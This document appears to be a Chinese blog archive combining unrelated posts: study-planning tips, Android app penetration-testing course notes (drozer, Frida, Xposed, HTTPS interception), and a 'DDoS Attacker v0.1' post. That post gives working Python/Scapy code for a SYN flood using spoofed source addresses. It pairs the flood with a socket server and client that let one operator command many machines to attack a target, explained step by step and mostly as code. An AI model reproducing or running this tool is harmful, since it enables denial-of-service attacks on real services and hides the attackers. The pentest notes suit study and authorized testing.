如何高效自律学习?

如何高效自律学习

今天看到B站UP主”马戏糍“的一个视频,讲解如何在家提高学习效率,感觉挺实用,尝试着执行一下,作以下记录。

下面会以自己一天的规划为例。

今天做什么?

  • 使用OKR(Object + Key Results, 关键目标 + 关键结果)管理法
  • 重要的是成果,而不是时间
  • 最多5个O,每个O最多4个KR
  • 遵循SMART原则

有效的OKR制定一定是满足SMART原则:

  1. Specific:明确性,目标必须是明确的,不能是模棱两可或含糊不清的,比如“优化客户服务意识”就不是一个明确的目标。

  2. Measurable:可衡量,关键结果必须是可衡量的,可用于衡量的方法有:基线法、里程碑法、正向度量法、负向度量法等,如“用户留存时间从60分钟提升为80分钟”就是一个可衡量的关键结果。

  3. Attainable:可实现,OKR鼓励在设定目标时具有一定的野心,但也要考虑可实现的,不能天马行空设定一个无法实现的无意义目标。

  4. Relevant:相关性,公司级目标要跟公司的战略对齐,部门级目标要跟公司目标对齐,个人目标要跟部门目标对齐,这样才能确保全员目标聚焦。

  5. Time-bound:时限性,没有时间限制,目标的制定就失去了意义,在OKR实施中,时限性体现在周期的设定上。

作者:李会军
链接:https://www.zhihu.com/question/22471467/answer/220121306
来源:知乎
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

  • 例如,今天我的OKR表

先做哪一个?

  • 使用重要紧急坐标轴,帮助自己决定先做哪一个,在时间紧迫的情况下选哪一个(重要还是紧急)

  • 例如,今天我的重要紧急坐标图

怎么安排时间做?

  • 针对每个O,每个KR,采用番茄钟时间管理法

  • 例如,我的番茄钟时间规划表

早晚checklist

  • 早上写完,对照OKR和坐标轴
  • 晚上检查效果,查看漏掉的事项

提高专注力

  • 要有一定的仪式感,换衣服换鞋

  • 运动,可以提高专注力和创造性思维

  • 在嘈杂的环境下,可以听一些白噪音

一种通用的学习过程

一种通用的思考过程

在《哈默手稿》,手稿三十,关于水的15种研究 中有写到:

这说明列奥纳多·达·芬奇在一些基本原则的基础上演绎水科学的定义,然后从概况的描述慢慢演绎到具体地解决问题。

这是大英图书馆对该部分手稿的说明。从中可了解几个关键的点:

  • 基本的原则
  • 演绎某方面的定义
  • 演绎即假设、模拟、演算
  • 从概况的描述开始
  • 慢慢演绎到具体地解决问题。

具体地看,手稿中不断提出”如果”的假设(在基本原则的基础上),得出推导的“那么”结果。一步步地进行模拟、演算,到后面得出一个具体的概念,最后又进行逆向思考和总结。

学习某一方面的知识时,也可以参加这种范式。

移动应用程序渗透

移动应用程序渗透

Android系统架构与运行机制

1.应用层(System Apps)
用户接触的,应用软件方面的

2.应用架构层(Application Framework, API)
系统开发的,API方面的
例如有以下的这些管理器:
活动管理
位置管理器
包管理器
通知管理器
资源管理器…

3.系统运行库层(Native)
分为两部分,分别是C/C++程序库和Android运行时(Runtime)库

4.硬件抽象层(HAL)
~位于操作系统内核与硬件电器之间的接口层,其目的在于将硬件抽象化

5.Linux内核层(Linux Kernel)

Android运行机制

  1. 简化版:init启动 —— Zygnote进程启动—— Systemserver进程启动

  2. Init启动
    总:电源键——系统启动——bootlooder——Linux内核——init进程启动

– 在启动init进程中,会进入system/core/init/init.cpp文件的main方法中
– 创建和挂载目录
– 初始化和启动属性服务(键对值)
Linux内核——盘古,开天地,产生女娲(Zygote)

  1. Zygote进程启动(被称为孵化器,一切的开始)
    总:app_main——AndroidRuntime——Zygoteinit

– socket
– 加载了一些类
– 启动systemserver类
Zygote——女娲,造出亚当(SystemServer)

  1. SystemServer进程启动

– frameworks/base/core/java/com/android/intermal/os/Zygote,.java
– frameworks/base/core/java/com/android/intermal/os/RuntimeInit.java
– frameworks/base/core/java/com/android/server/SystemServer.java 这个是各种进程的父类
SystemServer——亚当,用肋骨造夏娃(其他进程)

Android应用渗透测试与调试

工具使用

  1. Android Debug Bridge(ADB,要添加到系统环境变量)
adb kille-server
adb start-server
adb root
# push 把文件从电脑推送到Android上
adb push
# pull 把文件从Android下载到电脑上
adb pull
adb connect
adb shell
adb install -t
# 查看日志
adb logcat
# 应用截屏
adb exec-out screencap -p > sc.png
  1. Apktool(Smali语言,打包,解包)
  2. Frida(可以把自己的脚本注入到应用程序的运行进程中)
  3. Jadx(一件反编译,反编译为Java代码;可以在GitHub上下载)
  4. Android Studio(如何写Xpose插件;logcat,找flag)
  5. Android Killer

文件格式

  1. Lib——程序依赖的native库
    一般会有三类:

– arm
– arm-v7a
– x86
根据不同的虚拟机版本,下载Xpose框架(酷安;官网),注意不同的框架是使用不同的汇编等方式的

  1. META-INF目录——存放应用程序签名和证书的目录
  2. Res目录——存放应用程序的资源
  3. AndroidMainfest.xml——应用程序的配置文件
    相当于书本的目录,上面有很多的信息
  4. Classes.dex——Dex可执行文件
  5. Resource.arsc——资源配置文件

Android应用渗透测试——客户端数据安全

安装包签名校验

如何校验

$ jarsigner -verify APK_PATH

主要提供完整性integrity的保护

$ jarsigner -verify -verbose -certs APK_PATH

使用Google提供的开发者签名进行重签名。
要读懂Java代码,Smali代码。

客户端程序保护

反编译为Java代码

使用jadx,Androidkiller(综合使用前两者,但不能同时打开同一个文件),jeb等工具进行反编译

反编译为smali代码

$ apktool d APK_PATH
$ apktool b Uncompressed_APK_PATH

如何阅读smali代码

对比Java学习

smali类型

smali对象

smali

# smali注释
.method 表示方法开始
.local 1 表示locals的寄存器数量
.line 8 表示对于的Java代码行数
invoke-XXX 表示各种方法
invoke-super(p0,p1) p0,p1表示寄存器


图:smali代码阅读示例

应用完整性校验

aoktool d APK_PATH

注意res/文件夹

Android应用渗透测试——组件安全

判断组件的可导出性

  1. 根据AndroidMainfest.xml,判断以下组件是否可以导出

使用Drozer对四大组件进行组件攻击

工具:drozer

根据PPT中的代码进行实验测试。
https://blog.csdn.net/jianglianye21/article/details/80667346

Activity

# 使用工具drozer,自动会进行DoS攻击
$ run app.activity.info -a packagename

Service

$ run app.service.info -a packagename

Broadcast Reciever(广播接收器)

e.g. 电池电量低的提示

$ run app.broadcast.info -a packagename

Content Provider

可能存在目录遍历漏洞,SQL注入漏洞

$ run app.provider.info -a packagename
# 检测SQL注入(SQLite)
$ run scanner.provider.injection -a com.mwr.example.sieve
# 检测目录遍历
$ run scanner.provider.traversal -a com.mwr.example.sieve

原理和4种拒绝服务攻击

intent本身可以在不同组件间调用

*概念补充——intent:

​ intent是Android组件之间进行交互的重要方式,主要有两大功能:

​ (1)指明当前组件先要执行的操作。比如在Activity之间穿梭。

​ (2)在不同组件之间传递数据。 比如将Activity中的数据发送到Broadcast Reveiver。

  1. intent本地DoS攻击检测
    getIntent()
    Intent.getXXXExtra()

  2. 4种拒绝服务攻击的类型

  • NullPointerException异常导致的拒绝服务
  • ClassCastException异常导致的拒绝服务
  • ClassNotFoundException异常导致的拒绝服务
  • IndexOutOfBoundsException异常导致的拒绝服务

扩展

扩:学习smali代码时,可以结合实例直接阅读学习,不建议从头开始学

扩:渗透测试的主要方向:

1.通过研读本地应用程序(黑/白盒测试)

2.通过网络抓包进行分析

扩:找到能导出的各个组件,一一确认其安全性

Android应用渗透测试——WebView

如何检测和判断[TODO ]

WebView 任意代码执行

漏洞点:addJavaScriptInterface()

WebView 密码明文存储


使用方法:Sqlite databases broswer,可以把密码明文可视化显示

WebView 域控制不严格

域校验不严格,跨过同源策略进行跨域访问
setAllowFileAccess
setAllowFileAccessFromFileURLs
setAllowUniversalAccessFromFileURL

Android应用渗透测试——敏感信息安全

CTF中可能比较重要的出题点

检查配置文件

CTF的重点检查内容
1. 检查客户端程序存储在手机中的 SharedPreferences 配置文件
2. 检查客户端程序存储在手机中的 SQLite 数据库文件
3. 检查客户端程序存储在手机中的 SharedPreferences 配置文件,在检测 SQLite 数据库文件,在私有目录及其子目录下查找以.db 结尾的数据库文件。
通常是对本目录(data/data/packagename)下的文件内容 (一般是 xml)进行检查,看是否包含敏感信息。

检查客户端程序包(APK)中是否保存有敏感信息

  1. 证书文件
  2. 逻辑js文件
  3. 图片文件
  4. 其他文件(把文件存储到SD卡,或者不是同一个package下)
  5. logcat日志(AS上使用,并且安装Xinstaller)

Android应用渗透测试——进程安全

内存访问和修改

安装插件Memspector [TODO]

通过对客户端内存的访问,有可能会得到保存在内存中的敏感信 息(如登录密码,帐号等)。测试客户端内存中是否存在的敏感信息(卡号、明文密码等等)。

本地端口开放检测

e.g. socket的一些管理缺陷,查找端口,连接端口,获取验证码信息

外部动态加载DEX安全风险

  1. 风险位置:
    public DexClassLoader(String dexPath,String optimizedDirectory, String libraryPath, ClassLoader parent)

  2. 查看 AndroidManifest.xml 包 package 值相对应路径下的文件中是否含有DexClassLoader()函数调用

Android应用渗透测试——通信安全

抓包

  1. http协议
  2. https协议
  3. 校验不严格
  4. 双向校验
  5. 其他协议

应用程序可能会有设置,防止被抓包

http协议

比较常规的,Android设置代理,BP抓包

参考教程:链接

https

抓https包需要设置证书,Android7.0以上需要把证书安装在系统上,7.0以下 [TODO]

参考链接

证书未校验

证书部分校验

https双向校验

  1. 单向认证
  2. 双向认证
    增加了服务端认证客户端的过程,添加第4步

  3. 步骤

– 找到证书导入到burp
– 寻找包里的证书库文件(敏感信息泄漏)
– 尝试证书转换


  • 找到证书库文件
  • 找到证书库密码
  • 把密码导入(尝试证书转换)

扩展-1

扩:漏洞,不是攻击点,通常都是攻击链
扩:使用Everything工具,添加到右键,方便搜索文件(Windows)
扩:证书管理工具Portecle
扩:使用所有手段都没有抓到包,该怎么办?[TODO,老师私货,重要]
使用aptables进行流量转发

iptables -t nat -A OUTPUT -p tcp -dport 目标端口 -j DANT --to burpip和端口

移动应用数据包常见加密形式

明文数据包

e.g. 参数 info整个不加密

参数值加密

e.g. 参数 info后面的值加密

POST BODY加密

e.g. post的所有数据都加密

参数序列化

Response加密

定位关键代码

静态分析

重点是:定位关键字

  1. 关键字——搜索参数[key]
    [key]:需要关注的参数
    使用双引号, “&”, “=”等字符,辅助定位

  2. 关键字——搜索接口
    以接口作为关键字全局搜索 目录、接口、双引号辅助搜索

  3. 关键字——搜索header
    用header中各种标志性的字符做关键字 全局搜索
    HOST、标志性的head字符
    e.g. okhttp/3.8.0

  4. 关键字——搜索加密算法
    AES、RSA、DES、SM(国密,2020年刚开始实行)等常见加密算法做为关键字,用双引号、/等符号辅助,精确定位

  5. 关键字——从日志中获取关键字
    Logcat中获取现成的关键字,传输的信息可能加密,但日志信息(开发时方便调试所开启的)没有加密。

  6. Javascript加密

扩展-2

  1. 使用Xpose插件:Inspeckage,直接在Xpose软件里下载

Android应用渗透测试——业务安全

  1. 二维码不校验
  2. url跳转
  3. 任意文件读取

不具体展开,和Web业务安全同样的。

如何找客户端漏洞?

都在上述的知识点中

Android应用渗透测试——应用调试

调试Smali

参考教程:

https://blog.csdn.net/hebbely/article/details/79087199

https://www.jianshu.com/p/9843e80f5ac5

调试native

  1. 找到native方法

  2. 找到.so文件

  3. IDA Pro 打开
    发现export处[TODO]

中文乱码设置:
alt + a,然后进行如下设置

  1. 使用IDA Pro进行分析

  2. push android_x86_server 到 data/local/tmp

分析点

在输入的参数(比如用户名、密码)处下断点,通过查看运行时信息(终端显示的),分析其加密方式。不仅如此,证书校验等都可以使用这个动态调试的方法。

移动应用程序渗透测试框架使用

Xposed框架

安装及配置

[TODO]

Xposed运行原理[TODO]

  1. Dalvik虚拟机在执行java层代码时如何识别JNI方法?

– 类型标识(accessFlags)

– 过程

  1. 怎样才能将java层普通方法注册成JNI方法?
  2. Xposed框架做了什么?

如何写一个Xposed插件[TODO]

  1. 打开AS在项目app目录下新建lib目录并将XposedBridgeApi-54.jar放到lib目录下 右键Add As Library将 jar包添加进依赖。

  2. 打开app目录下的build.gradle 将
    compile files(‘lib/XposedBridgeApi-54.jar’)
    更改为
    compileOnly files(‘lib/XposedBridgeApi-54.jar’)

  3. 打开项目分支src/main目录下的AndroidManifest.xml 在application标签里面添加内容

  4. 新建Hook入口类HookMain 实 现 xposed的接的IXposedHookLoadPackage 并重写方法 handleLoadPackage ,这个写法格式是固定的。

  5. 在src/main/assets下新建文件xposed_init并将HookMain类并将hook的主入口类以包名+类名的格式写进去。
    com.example.myapplication.HookMain

Frida框架[TODO]

Frida是一个动态代码执行工具包。
通过Frida你可以把一段JavaScript注入到一个进程中去,或者把一个动态库加载到另一个进程中去,并且 Frida 是跨平台的,也就是说,你可以对Windows, macOS, GNU/Linux, iOS, Android以及QNX系统上的进程进行上述操作。

Frida实验1——破解登入密码

Frida实验2——解密

扩展-1

注意:安装Frida时,一定要安装Frida tools

DDoS Attacker v0.1

DDoS Attacker v0.1

仓库链接🔗

To ~~~~GitHub

仓库结构

  • ddos_client_v0.1.py —— DDoS客户端
  • ddos_server_v0.1.py —— DDoS服务端
  • test/ —— 存放单独模块的测试脚本
  • drafts/ —— 存放实现过程中的“草稿”
  • refer/ —— 存放原作者参考的代码

攻击原理

首先实现SYN泛洪攻击(SYN Flood,是一直常用的DOS方式之一,通过发送大量伪造的TCP连接请求,使被攻击主机资源耗尽的攻击方式)。TCP三次握手的过程在下面补充。SYN攻击则是客户端向服务器发送SYN报文之后就不再响应服务器回应的报文,由于服务器在处理TCP请求时,会在协议栈留一块缓冲区来存储握手的过程,如果超过一定的时间没有接收到客户端的报文,那么本次连接在协议栈中存储的数据就会被丢弃。 攻击者如果利用这段时间发送了大量的连接请求,全部挂起在半连接状态,这样将不断消耗服务器资源,直到拒接服务。
SYN报文请求过程
上图,就是SYN报文请求过程。SYN是TCP包的一个类型,表示建立连接。ACK表示响应。

补充:TCP三次握手以及TCP/IP族相关

TCP/IP协议族

TCP/IP是一个协议族。因为TCP/IP协议包括TCP、IP、UDP、ICMP、RIP、TELNETFTP、SMTP、ARP、TFTP等许多协议,这些协议一起称为TCP/IP协议。
其中TCP全称为Transport Control Protocol, 传输控制协议。位于OSI参考模型的第4层,传输层。下图为TCP/IP对应OSI中的层以及功能介绍:
TCP/IP对应OSI中的层以及功能

三次“建立”四次“分手”

接下来,我们讲回TCP协议,TCP需要三次握手才能建立,断开断开连接需要四次握手,过程如下:
TCP三次连接四次分手

TCP是主机对主机层的传输控制协议,提供可靠的连接服务,采用三次握手确认建立一个连接,以下详细的文字描述:

位码即tcp标志位,有6种标示:SYN(synchronous建立联机) ACK(acknowledgement 确认) PSH(push传送) FIN(finish结束) RST(reset重置) URG(urgent紧急)Sequence number(顺序号码) Acknowledge number(确认号码)

第一次握手:主机A发送位码为syn=1,随机产生seq number=1234567的数据包到服务器,主机B由SYN=1知道,A要求建立联机;

第二次握手:主机B收到请求后要确认联机信息,向A发送ack number=(主机A的seq+1),syn=1,ack=1,随机产生seq=7654321的包;

第三次握手:主机A收到后检查ack number是否正确,即第一次发送的seq number+1,以及位码ack是否为1,若正确,主机A会再发送ack number=(主机B的seq+1),ack=1,主机B收到后确认seq值与ack=1则连接建立成功。

完成三次握手,主机A与主机B开始传送数据。

工具介绍

Scapy是一个交互式数据包处理程序,可以用来发送、嗅探、解析和伪造网络数据包。本文环境为Ubuntu18.04LTS Desktop, VBox。可以使用apt或者pip安装:

# pip安装推荐推荐虚拟环境安装,安全也要讲究低耦合
pip3 install scapy
# 或者
sudo apt-get install python-scapy
# 运行scapy需要sudo权限
sudo scapy
# 运行会出现一些警告信息,先不用管

Tips 踩坑小提示:

使用sudo pip安装,会安装到系统全局环境。如果我们激活虚拟环境后,再sudo pip,同样也会安装到系统全局环境,所以不要做按耳盗铃的事情哦~
但有时候,比如scapy,需要sudo权限执行,但pip install scapy安装后使用sudo scapy会显示command not found。但我们又不想把它安装到全局环境,那么解决办法是?

答案:sudo + 虚拟环境下的 bin/scapy。 e.g. sudo ./venv/bin/scapy

(prc37) satan1a@satan1a-VirtualBox:~/projects/python_projects/ddos_attacker/prc37/bin$ ls
activate      activate.fish  activate_this.py  easy_install      pip   pip3.6  python3    python-config  UTscapy
activate.csh  activate.ps1   activate.xsh      easy_install-3.6  pip3  python  python3.6  scapy          wheel
(prc37) satan1a@satan1a-VirtualBox:~/projects/python_projects/ddos_attacker/prc37/bin$ sudo scapy
sudo: scapy: command not found
(prc37) satan1a@satan1a-VirtualBox:~/projects/python_projects/ddos_attacker/prc37/bin$ sudo ./scapy 

构造一个SYN包,发送测试一下:

# 构造一个SYN包
>>> pkt = IP(src = "125.4.2.1",dst="192.168.50.10")/TCP(dport=80,flags="S")
>>> send(pkt)

发送测试,成功。

(prc37) satan1a@satan1a-VirtualBox:~/projects/python_projects/ddos_attacker/prc37/bin$ sudo ./scapy 
INFO: Can't import matplotlib. Won't be able to plot.
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
WARNING: No route found for IPv6 destination :: (no default route?)
INFO: Can't import python-cryptography v1.7+. Disabled WEP decryption/encryption. (Dot11)
INFO: Can't import python-cryptography v1.7+. Disabled IPsec encryption/authentication.
WARNING: IPython not available. Using standard Python shell instead.
AutoCompletion, History are disabled.
>>> pkt = IP(src = "125.4.2.1",dst="192.168.50.10")/TCP(dport=80,flags="S")
>>> send(pkt)
.
Sent 1 packets.
>>> 

但真的正确吗?
表面上看是成功了,但是这种方式就违背一条信息安全里很重要的原则:最小权限原则,即系统中所有的程序和特权用户应当仅获得完成相应工作所需的最少的权限。
使用上述的这种方式,我们使用sudo暂时向系统借了权限,执行虚拟环境里的程序,那么一个本来就要求更高权限的程序才能正常工作的程序,为什么要隔离在相对没有权限的环境里,然后又人为帮助它去翻过虚拟环境的高墙去做更高权限的事情呢?

扩展:最小权限原则与sudo的使用

扩展:我们知道,sudo存在的一大目的,就是为了安全,尽可能地防止误操作和权限滥用。但同时我们也应该明白,什么时候需要给他较低权限,什么时候要给它较高权限,以及什么时候可以用sudo来暂时提高权限。
e.g. 在Ubuntu中,不是每个用户都可以使用sudo, 因为操作nginx等这种需要很高权限的服务时,只有指定的,被授予权限来暂时提高权限的用户才可以使用sudo来对nginx操作,这就是遵循了最小权限原则————权限最小,但能正常工作。
那么我们在虚拟环境下使用pip install scapy就违背了后者,不能正常工作。在这种情况下,root进不去虚拟环境,虚拟环境理论上又不能用sudo“越权”。所以,我们判断是否需要sudo安装的判断条件就是三个:
1. 用户的权限最小化
2. 程序能正常工作
3. 如果同时满足的情况需要sudo,就可以直接使用sudo安装。

DDoS实现思路

DDoS全称是Distributed Denial of Service,翻译成中文就是分布式拒绝服务,简单地说,就是调动多台主机一起发起攻击。
如何协同多台主机一起发起攻击呢?一种传统的方法就是控制多台傀儡机,同时进行SYN泛洪攻击,还有一种模式叫做HIVEMIND。

通过HIVEMIND模式,用户可以通过连接到一台 IRC(Internet Relay Chat services)服务器,当有用户发送命令,任何以HIVEMIND模式连接到IRC服务器的成员都会立即攻击该目标。

简单地说,一台主机可以作为Socket Server,其他主机作为Client,Client使用socket方式连接到Server,接收到信息后发起攻击。理想情况,就是志同道合的同志,可以随时加入攻击过程,只需执行客户端连接脚本即可开始攻击。

前期准备

实现一次SYN泛洪攻击

具体步骤及介绍查看代码内注释,##注释内容为测试的代码

import os
import random
from scapy.all import *
def synFlood(tgt, dport):
    # 伪造的源IP地址列表,同时也是保护攻击者的一种方式
    srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
    # 从不同的源端口发送
    for sPort in range(1024, 65535):
        # 随机选择主机地址
        index = random.randrange(4)
        # 一个完整的TCP包由一个IP包和TCO包组成
        # 1. 构造IP包,设置源地址src和目的地址dst
        ipLayer = IP(src=srcList[index], dst=tgt)
        ## print("IP layer is " + str(ipLayer))
        # 2. 构造TCP包,设置发送源端口sport和目的源端口dport,flag值设为S表示发送SYN数据包
        tcpLayer = TCP(sport=sPort, dport = dport, flags="S")
        ## print("TCP layer is " + str(tcpLayer))
        # 3. 构造完整TCP包,IP包/TCP包
        packet = ipLayer / tcpLayer
        send(packet)
        print("Sent")
        ## print(sPort)

if __name__ == "__main__":
    synFlood("192.168.50.10", 80)

使用argparse命令行解析模块

首先,我们需要命令行解析模块,对我们的命令行输入作处理。Scapy原本是一个命令行的模式,但我们不像每次攻击都手动输入一大堆命令吧,使用脚本会更加方便,所以我们需要argparse模块,对我们的命令行输入做处理,然后“发送”到Scapy中。

由于我们需要的是一对多模式(Server -> Client),首先我们规定好命令行格式:

#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>

接下来进行使用argparse的训练:
代码如下:

# 导入argparse模块
import argparse
# 新建一个ArgumentParser对象,description是对命令行解析的一个描述信息,通常在使用-h命令时显示
parser = argparse.ArgumentParser(description="Process some integers.")
# 增加一个参数
parser.add_argument('-p', dest='port', type = int, help = 'An port number!')
# 解析命令行输入
args = parser.parse_args()
print("Port: ", args.port)

实现效果如下:

$ sudo python argparse_test.py -h
usage: argparse_test.py [-h] [-p PORT]

Process some integers.

optional arguments:
  -h, --help  show this help message and exit
  -p PORT     An port number!

$ sudo python argparse_test.py -p 123
Port:  123

使用socket模块

使用socket实现网络信息交换,从而实现服务器与客户端的信息通信。
使用socket需要指定IP地址、端口号、协议类型。
以下为客户端的实现代码:

import socket
# 创建socket对象,AF_INET表示使用IPV4对象,SOCK_STREAM表示使用的是基于流
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(('192.168.43.61', 7786))

服务端代码:

import socket

# 服务器地址列表
cliList = []
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 绑定IP和端口,0.0.0.0表示绑定到所有的网络地址,但端口需要不被占用
s.bind(('0.0.0.0', 7786))

# 开启监听器,设置最大连接数10
s.listen(10)

# 循环等待新的连接,且将已连接的对象添加到列表中
while True:
    # 接受一个新的连接
    sock, addr = s.accept()
    # 添加新的连接到列表
    cliList.append(sock)
    ## 测试:显示已连接的客户机IP
    for client_ip in cliList:
        print("Cliend IP: " + str(client_ip))

具体实现

服务端实现

终于到攻击器的具体实现阶段啦,首先我们编写Server端代码。
具体的实现思路和流程,都写在代码内的注释中:

import socket
import argparse
from threading import Thread

socketList = []

'''
5. 第五步,实现发送命令的函数
便利socketList,将每个socket都调用一次send将命令发送出去
'''
# def sendCmd(cmd):
#     print("Send command......")
#     for sock in socketList:
#         sock.send(cmd.encode = ('utf-8'))

def sendCmd(cmd):
    print("Send command......")
    for sock in socketList:
        sock.send(cmd.encode('UTF-8'))    

'''
4. 第四步,实现等待客户端的函数
循环等待客户端连接,并判断socket是否在socketList已存储过,没有则添加
'''
def waitConnect(s):
    while True:
        sock, addr = s.accept()
        if sock not in socketList:
            socketList.append(sock)



'''
1. 第一步,编写主函数
创建socket,绑定所有网络地址和58868端口并开始监听;
新开一个线程等待客户端的连接,以免阻塞我们输入命令(注意)
'''
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('0.0.0.0', 58868))
    s.listen(1024)
    t = Thread(target=waitConnect, args = (s, ))
    t.start()


    '''
    2. 第二步
    将新开的线程中连接进来的socket添加到一个list中
    并检查一下socket长度,需要至少一个客户端连接
    '''
    print('Wait at least a client connection!')
    # 若没有客户端连接,则
    while not len(socketList):
        pass
    print('It has been a client connection!')


    '''
    3. 第三步
    循环等待输入命令,输入后判断是否符合命令格式的基本要求(自己定)
    满足,则把命令发送到所有客户端
    '''
    while True:
        print("=" * 50)
        print('The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c <start>"')


        # 等待输入的命令
        cmd_str = input('Please input command: ')
        if len(cmd_str):
            if cmd_str[0] == '#':
                sendCmd(cmd_str)


if __name__ == "__main__":
    main()

客户端实现

同样,具体的实现思路和流程,都写在代码内的注释中。
客户端实现代码如下:

# -*- coding: utf-8 -*-
import sys
import random
import socket
import argparse
from multiprocessing import Process
from scapy.all import *

import os
isWorking = False
curProcess = None

# SYN flood attack
def synFlood(tgt,dPort):
    print('='*100)
    print('The syn flood is running!')
    print('='*100)
    srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
    for sPort in range(1024,65535):
        index = random.randrange(4)
        ipLayer = IP(src=srcList[index], dst=tgt)
        tcpLayer = TCP(sport=sPort, dport=dPort,flags="S")
        packet = ipLayer / tcpLayer 
        send(packet)

'''
3. 第三步
创建全部变量curProcess,用于判断是否有进程正在发起SYN泛洪攻击
循环等待接受命令,接收到的数据类型为byte型,需要对其进行解码,解码后才为字符串
'''
# Process Command
def cmdHandle(sock, parser):
    global curProcess
    # TODO
    count = 0
    while count <= 20:
        data = sock.recv(1024).decode('utf-8')
        # 接收到的数据长度为0,则跳过后续内容,重新接收;
        if len(data) == 0:
            print('The data is empty')
            return

        # 接收到的数据长度不为0,则判断是否有命令基本格式的特征#,满足则用ArgumentParser对象解析命令
        if data[0] == '#':
            try:
                # Parse Command
                options = parser.parse_args(data[1:].split())
                m_host = options.host
                m_port = options.port
                m_cmd = options.cmd

                '''
                4. 第四步
                判断命令参数解析后,是start命令还是stop命令
                首先,判断当前是否有进程在运行,如果有进程判断进程是否存活
                '''
                # DDoS Start Command
                if m_cmd.lower() == 'start':
                    # 如果当前有进程正在发起SYN泛洪攻击,我们就先结束这个进程,并清空屏幕,再启动一个进程
                    if curProcess != None and curProcess.is_alive():
                        # 结束进程
                        curProcess.terminate()
                        curProcess = None
                        os.system('clear')
                    print('The synFlood is already started')
                    p = Process(target=synFlood, args=(m_host, m_port))
                    p.start()
                    curProcess = p
                    # TODO
                    count = count+1

                # DDoS Stop Command
                elif m_cmd.lower() == 'stop':
                    if curProcess.is_alive():
                        curProcess.terminate()
                        os.system('clear')
            except:
                print('Failed to perform the command!')


'''
1. 第一步  
创建ArgumentParser对象,设置好需要解析的命令参数
'''
def main():
    p = argparse.ArgumentParser()
    p.add_argument('-H', dest = 'host', type = str)
    p.add_argument('-p', dest = 'port', type = int)
    p.add_argument('-c', dest = 'cmd', type = str)

    '''
    2. 第二步
    创建socket,连接服务器
    '''
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        ## 测试用,连接本地的58868端口
        s.connect(('127.0.0.1', 58868))
        print('To connect server was success!')
        print('=' * 50)
        cmdHandle(s, p)
    except:
        print('The network connected failed!')
        print('Please restart the script!')
        sys.exit(0)

if __name__ == "__main__":
    main()

测试使用

首先,我们规定了命令格式为:#-H xxx.xxx.xxx.xxx -p xxxx -c <start>
e.g. #-H 127.0.0.1 -p 8085 -c start\#-H 127.0.0.1 -p 8085 -c stop

首先执行server脚本,然后执行client脚本,等待连接,连接成功,即可在server端操控client进行攻击,示例如下:
1. 启动server

sudo python ddos_server_v0.1.py
  1. 启动client
sudo python ddos_client_v0.1.py
  1. 连接成功
    连接成功

  2. 进行攻击
    进行攻击

  3. 停止攻击
    停止攻击

Reference

[1]Blog.csdn.net. (2019). 网络篇——七层协议、四层协议、TCP、HTTP、SOCKET、长短连接 – 袁伏彪 —— 共享,共赢 – CSDN博客. [online] Available at: https://blog.csdn.net/bjyfb/article/details/6682913 [Accessed 25 Oct. 2019].
[2]Jb51.net. (2019). Python实现DDoS. [online] Available at: https://www.jb51.net/article/155870.htm [Accessed 25 Oct. 2019].
[3]Blog.csdn.net. (2019). TCP包的类型 (SYN, FIN, ACK, PSH, RST, URG) – lqglqglqg的专栏 – CSDN博客. [online] Available at: https://blog.csdn.net/lqglqglqg/article/details/48714611 [Accessed 25 Oct. 2019].